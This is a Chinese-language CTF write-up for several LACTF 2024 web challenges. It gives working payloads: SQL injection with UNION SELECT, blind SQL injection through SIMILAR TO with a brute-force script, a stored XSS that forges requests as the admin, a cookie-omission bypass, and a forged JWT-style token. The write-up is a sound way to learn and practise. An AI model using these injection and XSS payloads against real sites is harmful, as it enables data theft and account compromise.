2024laCTF
web
terms-and-conditions
删除index.html部分代码即可,配合analytics.js即可获得flag
flaglang
1 2 3 4 5 Flagistan: iso: FL msg: "<REDACTED>" password: "<REDACTED>" deny:
需要获取Flagistan的msg或者password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 app.get ('/view' , (req, res ) => { if (!req.query .country ) { res.status (400 ).json ({ err : 'please give a country' }); return ; } if (!countries.has (req.query .country )) { res.status (400 ).json ({ err : 'please give a valid country' }); return ; } const country = countryData[req.query .country ]; const userISO = req.signedCookies .iso ; if (country.deny .includes (userISO)) { res.status (400 ).json ({ err : `${req.query.country} has an embargo on your country` }); return ; } res.status (200 ).json ({ msg : country.msg , iso : country.iso }); });
不满足country.deny.includes(userISO)
的时候打印msg,只要使得cookie为空即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /view?country=Flagistan HTTP/1.1 Host: flaglang.chall.lac.tf Connection: close sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://flaglang.chall.lac.tf/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Length: 2
la housing portal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def get_matching_roommates (prefs: dict [str , str ] ): if len (prefs) == 0 : return [] query = """ select * from users where {} LIMIT 25; """ .format ( " AND " .join(["{} = '{}'" .format (k, v) for k, v in prefs.items()]) ) print (query) conn = sqlite3.connect('file:data.sqlite?mode=ro' , uri=True ) cursor = conn.cursor() cursor.execute(query) r = cursor.fetchall() cursor.close() return r
对sql进行前后闭合,配合union select即可
1 2 3 guests=asd &name=a &''=' union select 1,1,1,flag,1,1 from flag where ''='
new-housing-portal
查询username的时候会将名字打印,存在xss漏洞,伪造请求给自身账号发送邀请即可获得flag
创建自身用户asa
创建xss1用户<img src=1 onerror=alert(1)>
访问https://new-housing-portal.chall.lac.tf/finder/?q=<img src=1 onerror=alert(1)>
即可弹窗
替换成恶意的xss,发邀请给asa用户即可
创建最终的xss用户<img src=1 onerror="fetch('https://new-housing-portal.chall.lac.tf/finder',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'username=asa'});">
让admin访问即可
https://new-housing-portal.chall.lac.tf/finder/?q=<img src=1 onerror="fetch('https://new-housing-portal.chall.lac.tf/finder',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'username=MYACCOUNT'});">
pogn
python 安装 websocket-client
exp
1 2 3 4 5 6 7 8 9 10 import websocketurl = "ws://pogn.chall.lac.tf" ws = websocket.WebSocket() ws.connect((url+"/ws" )) while True : print (ws.recv()) ws.send("[1,[[0,0],[0,0]]]" )
pogn-login
PostgreSQL: Documentation: 16: 9.7. Pattern Matching
根据文档,写出SIMILAR TO的语句
1 username=' or name SIMILAR TO 'lactf________________________________________
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsbase_URL = 'https://penguin.chall.lac.tf/submit' possible_chars = '0123456789abcedfghijklmnopqrstuvwxyz}' flag1 = 'lactf{' flag = 'lactf_' for _ in range (1 , 40 ): for char in possible_chars: forms = {'username' : "' or name SIMILAR TO '" + flag + char + "_" * (44 - len (flag))} req = requests.post(base_URL, data=forms) if 'No penguins sadg' not in req.text: flag1 += char flag += char break print (flag1)
jason-web-token
1 2 3 4 5 6 7 8 9 @app.get("/img" ) def img (resp: Response, token: str | None = Cookie(default=None ) ): userinfo, err = auth.decode_token(token) if err: resp.status_code = 400 return {"err" : err} if userinfo["role" ] == "admin" : return {"msg" : f"Your flag is {flag} " , "img" : "/static/bplet.png" } return {"msg" : "Enjoy this jason for your web token" , "img" : "/static/aplet.png" }
需要通过验证
可以控制的点在userinfo["age"]
的地方
一种是使得age足够大,一种是使得age为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import osimport hashlibimport timeimport jsonsecret = int .from_bytes(os.urandom(128 ), "big" ) hash_ = lambda a: hashlib.sha256(a.encode()).hexdigest() def create_token (userinfo ): userinfo["timestamp" ] = int (time.time()) salted_secret = (secret ^ userinfo["timestamp" ]) + userinfo["age" ] print (salted_secret) data = json.dumps(userinfo) return data.encode().hex () + "." + hash_(f"{data} :{salted_secret} " ) def decode_token (token ): if not token: return None , "invalid token: please log in" datahex, signature = token.split("." ) data = bytes .fromhex(datahex).decode() userinfo = json.loads(data) salted_secret = (secret ^ userinfo["timestamp" ]) + userinfo["age" ] print (salted_secret) if hash_(f"{data} :{salted_secret} " ) != signature: return None , "invalid token: signature did not match data" return userinfo, None s = create_token({"role" :"admin" ,"age" :2e300 }) userinfo, err = decode_token(s) if userinfo["role" ] == "admin" : print (111 )